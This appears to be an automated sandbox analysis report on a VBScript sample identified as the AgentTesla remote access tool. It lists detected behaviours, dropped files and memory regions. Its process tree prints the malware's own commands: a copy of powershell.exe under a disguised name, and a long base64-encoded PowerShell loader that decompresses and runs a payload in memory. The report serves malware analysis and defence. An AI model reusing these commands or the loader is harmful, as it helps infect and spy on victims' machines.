Analysis

  • max time kernel
    93s
  • max time network
    140s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    15/11/2024, 16:28

General

  • Target
    GRAINS.vbs
  • Size 2.2MB
  • Sample241115-tym1tswpfx
  • SHA256 929fbee164997ce91edddfa6eae72cad7afd11955480d2582bfdc964505ccea2
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Family
  • agenttesla

Credentials

Signatures

  • AgentTesla

    Agent Tesla is a remote access tool (RAT) written in visual basic.

  • Agenttesla family
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops startup file 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies registry class 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 3 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 11 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:3540
      • C:\Windows\System32\WScript.exe
        "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\GRAINS.vbs"
        2⤵
        • Checks computer location settings
        • Modifies registry class
        • Suspicious use of WriteProcessMemory
        PID:1036
        • C:\Users\Admin\AppData\Local\Temp\GRAINS.vbs.exe
          "C:\Users\Admin\AppData\Local\Temp\GRAINS.vbs.exe" -enc JABYAHIAeQBoAGoAeQBpACAAPQAgAFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBQAHIAbwBjAGUAcwBzAF0AOgA6AEcAZQB0AEMAdQByAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAoACkALgBNAGEAaQBuAE0AbwBkAHUAbABlAC4ARgBpAGwAZQBOAGEAbQBlAC4AUgBlAHAAbABhAGMAZQAoACcALgBlAHgAZQAnACwAJwAnACkAOwAkAEoAeAB0AGMAZgAgAD0AIABnAGUAdAAtAGMAbwBuAHQAZQBuAHQAIAAkAFgAcgB5AGgAagB5AGkAIAB8ACAAUwBlAGwAZQBjAHQALQBPAGIAagBlAGMAdAAgAC0ATABhAHMAdAAgADEAOwAgACQAVQB3AGoAYgBnACAAPQAgAFsAUwB5AHMAdABlAG0ALgBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0AHIAaQBuAGcAKAAkAEoAeAB0AGMAZgAuAFIAZQBwAGwAYQBjAGUAKAAnAFIARQBNACAAJwAsACAAJwAnACkALgBSAGUAcABsAGEAYwBlACgAJwBAACcALAAgACcAQQAnACkAKQA7ACQAVgBiAGQAawB2ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAGUAYQBtACgAIAAsACAAJABVAHcAagBiAGcAIAApADsAJABQAGkAeABnAHYAeQAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBJAE8ALgBNAGUAbQBvAHIAeQBTAHQAcgBlAGEAbQA7ACQAUwB6AHkAaABwAGMAeQB6AG0AIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4ARwB6AGkAcABTAHQAcgBlAGEAbQAgACQAVgBiAGQAawB2ACwAIAAoAFsASQBPAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAC4AQwBvAG0AcAByAGUAcwBzAGkAbwBuAE0AbwBkAGUAXQA6ADoARABlAGMAbwBtAHAAcgBlAHMAcwApADsAJABTAHoAeQBoAHAAYwB5AHoAbQAuAEMAbwBwAHkAVABvACgAIAAkAFAAaQB4AGcAdgB5ACAAKQA7ACQAUwB6AHkAaABwAGMAeQB6AG0ALgBDAGwAbwBzAGUAKAApADsAJABWAGIAZABrAHYALgBDAGwAbwBzAGUAKAApADsAWwBiAHkAdABlAFsAXQBdACAAJABVAHcAagBiAGcAIAA9ACAAJABQAGkAeABnAHYAeQAuAFQAbwBBAHIAcgBhAHkAKAApADsAWwBBAHIAcgBhAHkAXQA6ADoAUgBlAHYAZQByAHMAZQAoACQAVQB3AGoAYgBnACkAOwAgACQAUwBxAGcAagB6AGcAIAA9ACAAWwBTAHkAcwB0AGUAbQAuAEEAcABwAEQAbwBtAGEAaQBuAF0AOgA6AEMAdQByAHIAZQBuAHQARABvAG0AYQBpAG4ALgBMAG8AYQBkACgAJABVAHcAagBiAGcAKQA7ACAAJABIAGoAYQB2AGsAeQBtAGkAdQAgAD0AIAAkAFMAcQBnAGoAegBnAC4ARQBuAHQAcgB5AFAAbwBpAG4AdAA7ACAAWwBTAHkAcwB0AGUAbQAuAEQAZQBsAGUAZwBhAHQAZQBdADoAOgBDAHIAZQBhAHQAZQBEAGUAbABlAGcAYQB0AGUAKABbAEEAYwB0AGkAbwBuAF0ALAAgACQASABqAGEAdgBrAHkAbQBpAHUALgBEAGUAYwBsAGEAcgBpAG4AZwBUAHkAcABlACwAIAAkAEgAagBhAHYAawB5AG0AaQB1AC4ATgBhAG0AZQApAC4ARAB5AG4AYQBtAGkAYwBJAG4AdgBvAGsAZQAoACkAIAB8ACAATwB1AHQALQBOAHUAbABsAA==
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Drops startup file
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:5028
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:64
    • C:\Windows\system32\cmd.exe
      cmd /c copy "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" "C:\Users\Admin\AppData\Local\Temp\GRAINS.vbs.exe" /Y
      1⤵
      • Process spawned unexpected child process
      PID:4904

    Network

          MITRE ATT&CK Enterprise v15

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          GRAINS.vbs.exe

          • Path C:\Users\Admin\AppData\Local\Temp\GRAINS.vbs.exe
          • Size 423KB
          • SHA256 73a3c4aef5de385875339fc2eb7e58a9e8a47b6161bdc6436bf78a763537be70
          • MD5 SHA1 SHA512 SSDEEP

          __PSScriptPolicyTest_vxw1hl0j.etm.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vxw1hl0j.etm.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512

          memory/64-1118-0x0000000000400000-0x0000000000442000-memory.dmp

          memory/64-1119-0x0000000006420000-0x0000000006470000-memory.dmp

          memory/64-1120-0x0000000006520000-0x000000000652A000-memory.dmp

          memory/5028-4-0x0000000074A8E000-0x0000000074A8F000-memory.dmp

          memory/5028-5-0x0000000000FD0000-0x0000000001006000-memory.dmp

          memory/5028-7-0x0000000074A80000-0x0000000075230000-memory.dmp

          memory/5028-6-0x00000000053E0000-0x0000000005A08000-memory.dmp

          memory/5028-8-0x0000000074A80000-0x0000000075230000-memory.dmp

          memory/5028-9-0x00000000050E0000-0x0000000005102000-memory.dmp

          memory/5028-10-0x00000000052B0000-0x0000000005316000-memory.dmp

          memory/5028-11-0x0000000005320000-0x0000000005386000-memory.dmp

          memory/5028-17-0x0000000005A10000-0x0000000005D64000-memory.dmp

          memory/5028-22-0x00000000060A0000-0x00000000060BE000-memory.dmp

          memory/5028-23-0x00000000060D0000-0x000000000611C000-memory.dmp

          memory/5028-24-0x0000000007140000-0x00000000071D6000-memory.dmp

          memory/5028-25-0x00000000065B0000-0x00000000065CA000-memory.dmp

          memory/5028-26-0x0000000006610000-0x0000000006632000-memory.dmp

          memory/5028-27-0x0000000007790000-0x0000000007D34000-memory.dmp

          memory/5028-28-0x00000000083C0000-0x0000000008A3A000-memory.dmp

          memory/5028-29-0x0000000007220000-0x0000000007438000-memory.dmp

          memory/5028-30-0x0000000007560000-0x0000000007658000-memory.dmp

          memory/5028-31-0x0000000007D40000-0x0000000007DD2000-memory.dmp

          memory/5028-39-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-79-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-63-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-55-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-53-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-51-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-49-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-47-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-45-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-43-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-37-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-35-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-33-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-41-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-32-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-89-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-95-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-93-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-91-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-87-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-85-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-83-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-81-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-77-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-75-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-73-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-71-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-69-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-67-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-65-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-62-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-59-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-57-0x0000000007560000-0x0000000007652000-memory.dmp

          memory/5028-1106-0x00000000076E0000-0x000000000774A000-memory.dmp

          memory/5028-1108-0x0000000004E20000-0x0000000004E6C000-memory.dmp

          memory/5028-1107-0x0000000074A8E000-0x0000000074A8F000-memory.dmp

          memory/5028-1109-0x0000000074A80000-0x0000000075230000-memory.dmp

          memory/5028-1113-0x0000000007E10000-0x0000000007E64000-memory.dmp

          memory/5028-1117-0x0000000074A80000-0x0000000075230000-memory.dmp